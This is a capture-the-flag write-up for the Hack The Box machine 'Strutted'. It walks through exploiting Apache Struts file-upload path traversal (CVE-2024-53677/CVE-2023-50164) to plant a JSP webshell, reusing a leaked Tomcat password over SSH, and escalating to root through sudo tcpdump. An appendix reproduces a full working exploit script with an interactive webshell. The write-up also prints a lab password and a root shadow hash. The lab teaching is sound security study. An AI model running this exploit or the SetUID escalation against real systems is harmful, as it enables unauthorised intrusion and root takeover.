HTB-Strutted

HTB-Strutted
eugewxBox Info
| Difficulty | Easy |
|---|---|
| OS | Linux |
| IP Address | 10.10.11.59 |
Port Scanning
1 | # Check all open TCP |
Update DNS
1 | sudo nano /etc/hosts |
Service Enumeration
80/tcp HTTP
Seems like a Image sharing website.
There is a download button.
Zip file is a docker image
In the tomcat-users.xml file found a credentials
1 | <user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/> |
In the pom.xml file we can find out that it is using the Apache Struts 2 6.3.0.1 version MVC framework and various dependencies and plugins.
In the docker file, we can know how the image being built, where it start from the openjdk17
1 | FROM --platform=linux/amd64 openjdk:17-jdk-alpine |
Exploitation
Upon OSINT found the Apache Struts 2 v6.3.0.1 are vulnerable to CVE-2024-53677, which is described as
File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. This issue affects Apache Struts: from 2.0.0 before 6.4.0.
Understanding Apache Struts 2 CVE-2024-53677
There is a exploit script from EQSTLab, where from the exploit function, it is going to send a HTTP POST request with form data using files in requests.post , then sending first the Upload parameter and then top.UploadFileName
Now lets try the exploit script
1 | git clone https://github.com/EQSTLab/CVE-2024-53677 |
Although the HTTP status is 200 and script return successful upload message, however I don’t found the test.txt file uploaded. Here I change to Burp suite.
To exploit CVE-2024-53677, we will required to add second upload parameter by separate it through boundary.
1 | POST /upload.action HTTP/1.1 |
Adding the second parameter seems didn’t move. The resulting file is still htb.gif in the uploads/[date]/ folder. That’s because the first parameter name is ‘upload’ and not ‘Upload’, so it isn’t passed to the OGNL interceptor. On capitalize ‘Upload’, we are allowed to bypass the file name by adding “uploadFileName” in second parameter
1 | ... |
Now it shows successfully bypassed the file format restriction and look at the share link file name is shell.txt instead of htb.jpeg
Upon OSINT, we can use CVE-2023-50164 Apache Struts path traversal to RCE. Lets clone the repo
https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
1 | git clone https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE |
Before exploit, we might need to modify the exploit.py script, first of all is NUMBER_OF_PARENTS_IN_PATH change from 2 to 5 for File/{Date}/uploads/ROOT/webapps
1 | NUMBER_OF_PARENTS_IN_PATH = 5 |
Next, by adding the string GIF89a; we can trick the web app to threat the uploaded data as gif image. Refer to Ryan Jeon link for more detail of how polyglot work
1 | war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read() |
Last, change the Content-Type from application/octet-stream to image/gif as well as the filename to .gif file
1 | HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"), |
Lets start to exploit now
1 | python3 exploit.py --url http://strutted.htb/upload.action |
Initiate User Foothold
As previously we know from the zip file download, there is credentials leak from tomcat-users.xml
1 | cat ./conf/tomcat-users.xml |
Here we had the admin and password. Lets check if any user that we can use
1 | cat /etc/passwd |
Lets try these credentials with James
1 | ssh james@strutted.htb |
User Flags
Privilege Escalation
Sudo Privilege
There is a tcpdump from GTFObins
https://gtfobins.github.io/gtfobins/tcpdump/#sudo
1 | COMMAND='id' |
When I run this, it doesn’t output anything showing successful privilege escalation to root shell
Initiate Root Foothold
To get a shell, we will need to abuse the COMMAND , first lets copy /bin/bash into /tmp/bear and set is as SetUID / SetGID to run as root user
1 | COMMAND='cp /bin/bash /tmp/bear; chmod 6777 /tmp/bear' |
Once it complete, lets verify
Now the /bin/bash become /tmp/bear and we may use it to execute as root user
1 | ./bear -p |
Root Flag
/etc/shadow
1 | root:$y$j9T$4kM4HKyBvH.VNLjh.Zd60/$27BeC7cFIgPH.bVrllpoxXQwtc4tMCN6EZkI9Tqbw/B:20100:0:99999:7::: |
Appendix
exploit.py
import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError
MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 5
def get_base_url(url):
parsed_url = urlparse(url)
base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
return base_url
def create_war_file():
if not os.path.exists(NAME_OF_WEBSHELL_WAR):
os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
print("[+] WAR file created successfully.")
else:
print("[+] WAR file already exists.")
def upload_file(url):
create_war_file()
if not os.path.exists(NAME_OF_WEBSHELL_WAR):
print("[-] ERROR: webshell.war not found in the current directory.")
exit()
war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + 'webapps/' + NAME_OF_WEBSHELL_WAR
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
war_file_content = b"GIF89a;" + war_file_content
files = {
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"),
HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
}
boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
m = MultipartEncoder(fields=files, boundary=boundary)
headers = {"Content-Type": m.content_type}
try:
response = requests.post(url, headers=headers, data=m)
# print(response.text) # debug
if response.status_code == 200:
print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
else:
raise requests.RequestException('Wrong status code: ' + str(response.status_code))
except requests.RequestException as e:
print("[-] Error while uploading the WAR webshell:", e)
sys.exit(1)
def attempt_connection(url):
for attempt in range(1, MAX_ATTEMPTS + 1):
try:
r = requests.get(url)
if r.status_code == 200:
print('[+] Successfully connected to the web shell.')
return True
else:
raise Exception
except ConnectionError:
if attempt == MAX_ATTEMPTS:
print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
return False
time.sleep(DELAY_SECONDS)
except Exception:
if attempt == MAX_ATTEMPTS:
print('[-] Maximum attempts reached. Exiting...')
return False
time.sleep(DELAY_SECONDS)
return False
def start_interactive_shell(url):
if not attempt_connection(url):
sys.exit()
while True:
try:
cmd = input("\033[91mCMD\033[0m > ")
if cmd == 'exit':
raise KeyboardInterrupt
r = requests.get(url + "?cmd=" + cmd, verify=False)
if r.status_code == 200:
print(r.text.replace('\n\n', ''))
else:
raise Exception
except KeyboardInterrupt:
sys.exit()
except ConnectionError:
print('[-] We lost our connection to the web shell. Exiting...')
sys.exit()
except:
print('[-] Something unexpected happened. Exiting...')
sys.exit()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
args = parser.parse_args()
if not args.url.startswith("http"):
print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
exit()
print("[+] Starting exploitation...")
upload_file(args.url)
webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")
print(f"[+] Attempting a connection with webshell.")
start_interactive_shell(webshell_url)



























